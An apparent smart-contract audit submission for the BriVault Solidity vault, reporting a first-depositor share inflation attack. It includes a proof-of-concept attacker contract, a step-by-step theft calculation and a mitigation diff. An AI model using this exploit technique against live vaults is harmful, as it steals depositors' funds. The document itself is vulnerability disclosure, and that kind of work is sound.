BriVault

First Flight #52
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Valid

First Depositor Share Inflation Attack

First Depositor Share Inflation Attack

Description

  • The normal behavior is that users should receive shares proportional to their deposit amount, with share price determined by the ratio of total assets to total shares in the vault.

  • The issue is that _convertToShares() uses balanceOf(address(this)) to calculate share price, and the first depositor receives shares in a 1:1 ratio. An attacker can exploit this by depositing 1 wei to receive 1 share, then directly transferring a large amount of tokens to the vault to inflate the share price, causing subsequent depositors to receive 0 shares due to rounding down.

function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this)); // @> Uses direct balance
uint256 totalShares = totalSupply();
if (totalShares == 0 || balanceOfVault == 0) {
return assets; // @> First depositor gets 1:1 ratio (1 wei = 1 share)
}
shares = Math.mulDiv(assets, totalShares, balanceOfVault); // @> Rounds down, can become 0
}

Risk

Likelihood:

  • Well-documented attack in DeFi security community with multiple real-world instances

  • Attacker must be first depositor, which is achievable by monitoring mempool and front-running contract deployment

  • Requires capital for donation but attacker recovers it by stealing victim deposits

  • Will occur when sophisticated attackers monitor new vault deployments

Impact:

  • Early depositors lose 100% of deposits while receiving 0 shares (complete loss)

  • Attacker steals all deposited funds from victims

  • Protocol becomes unusable - users stop depositing after first victims

  • Requires redeployment of contract with fixes

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.24;
import "./BriVault.sol";
import "@openzeppelin/contracts/token/ERC20/IERC20.sol";
contract InflationAttacker {
BriVault public vault;
IERC20 public asset;
constructor(address _vault) {
vault = BriVault(_vault);
asset = IERC20(vault.asset());
}
function executeInflationAttack() external {
// STEP 1: Be first depositor with 1 wei
asset.approve(address(vault), 1);
vault.deposit(1, address(this));
// State:
// - Vault balance: 1 wei (fee rounds to 0)
// - Total shares: 1
// - Share price: 1 wei per share
// STEP 2: Donate to inflate share price
asset.transfer(address(vault), 1_000_000e6); // 1M USDC
// State:
// - Vault balance: 1_000_000e6 + 1
// - Total shares: 1
// - Share price: 1_000_000e6 USDC per share
// Wait for victims to deposit...
}
function stealVictimDeposits() external {
// After victims deposited, withdraw
vault.cancelParticipation();
// Get back donation + victim deposits
}
}
// Detailed mathematics:
contract DetailedMathExample {
/*
STEP 1: Attacker deposits 1 wei
================================
Fee: (1 * 300) / 10000 = 0 (rounds down)
Stake: 1 wei
Shares: _convertToShares(1)
totalShares = 0 (first deposit)
return 1 (1:1 ratio)
Result:
- Attacker balance: 1 share
- Vault balance: 1 wei
- Total shares: 1
STEP 2: Attacker donates 10,000 USDC
=====================================
Direct transfer: 10,000e6 wei
Result:
- Vault balance: 10,000,000,001 wei
- Total shares: 1
- Price: 10,000,000,001 wei per share
STEP 3: Victim deposits 1,000 USDC
===================================
Fee: (1000e6 * 300) / 10000 = 30e6 (30 USDC)
Stake: 970e6 = 970,000,000 wei
Shares: _convertToShares(970,000,000)
shares = mulDiv(970,000,000, 1, 10,000,000,001)
shares = 970,000,000 / 10,000,000,001
shares = 0.097
shares = 0 (ROUNDS DOWN!)
Result:
- Victim shares: 0
- Victim paid: 1000 USDC
- Victim lost: 1000 USDC
- Vault balance: 11,000e6 + 1 wei
- Total shares: 1 (still just attacker)
STEP 4: More victims deposit
=============================
Each victim gets 0 shares, loses deposit
Vault accumulates: 10,000 + 1,000 + 1,000 + 1,000...
STEP 5: Attacker withdraws
===========================
Attacker has: 1 share out of 1 total
Vault has: 50,000 USDC (after many victims)
Attacker gets: (1 * 50,000 / 1) = 50,000 USDC
Profit: 50,000 - 10,000 = 40,000 USDC stolen
*/
}
// Alternative attack with smaller capital:
contract SmallerCapitalAttack {
BriVault vault;
IERC20 asset;
function attackWith100USDC() external {
// STEP 1: Deposit 1 wei
asset.approve(address(vault), 1);
vault.deposit(1, address(this));
// Shares: 1, Balance: 1 wei
// STEP 2: Donate only 100 USDC
asset.transfer(address(vault), 100e6);
// Shares: 1, Balance: 100e6 + 1
// STEP 3: Victim deposits 10 USDC
// Fee: 0.3 USDC
// Stake: 9.7e6 wei
// Shares: (9.7e6 * 1) / 100e6 = 0.097 = 0
// Victim still gets 0 shares!
// Attacker can profit with minimal capital
}
}

Recommended Mitigation

contract BriVault is ERC4626, Ownable {
+ uint256 private constant INITIAL_SHARE_OFFSET = 1e6;
constructor(
IERC20 _asset,
uint256 _participationFeeBsp,
uint256 _eventStartDate,
address _participationFeeAddress,
uint256 _minimumAmount,
uint256 _eventEndDate
) ERC4626(_asset) ERC20("BriTechLabs", "BTT") Ownable(msg.sender) {
if (_participationFeeBsp > PARTICIPATIONFEEBSPMAX) {
revert limiteExceede();
}
+ if (_eventEndDate <= _eventStartDate) {
+ revert InvalidTimeRange();
+ }
+
+ if (_participationFeeAddress == address(0)) {
+ revert ZeroAddress();
+ }
participationFeeBsp = _participationFeeBsp;
eventStartDate = _eventStartDate;
eventEndDate = _eventEndDate;
participationFeeAddress = _participationFeeAddress;
minimumAmount = _minimumAmount;
_setWinner = false;
+ // Mint initial offset shares to prevent inflation attack
+ _mint(address(this), INITIAL_SHARE_OFFSET);
}
function _convertToShares(uint256 assets) internal view returns (uint256 shares) {
- uint256 balanceOfVault = IERC20(asset()).balanceOf(address(this));
- uint256 totalShares = totalSupply();
-
- if (totalShares == 0 || balanceOfVault == 0) {
- return assets;
- }
-
- shares = Math.mulDiv(assets, totalShares, balanceOfVault);
+ // Use standard ERC4626 conversion with protections
+ return convertToShares(assets);
}
+ // Alternative: Manual implementation with protection
+ function _convertToSharesSecure(uint256 assets) internal view returns (uint256 shares) {
+ uint256 totalAssets = IERC20(asset()).balanceOf(address(this));
+ uint256 totalShares = totalSupply();
+
+ // With offset, totalShares >= 1e6, never zero
+ // First real deposit: shares = (assets * 1e6) / initialAssets
+ // Attack becomes economically infeasible
+ return Math.mulDiv(assets, totalShares, totalAssets, Math.Rounding.Down);
+ }
}
Updates

Appeal created

bube Lead Judge 19 days ago
Submission Judgement Published
Validated
Assigned finding tags:

Inflation attack

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.

Give us feedback!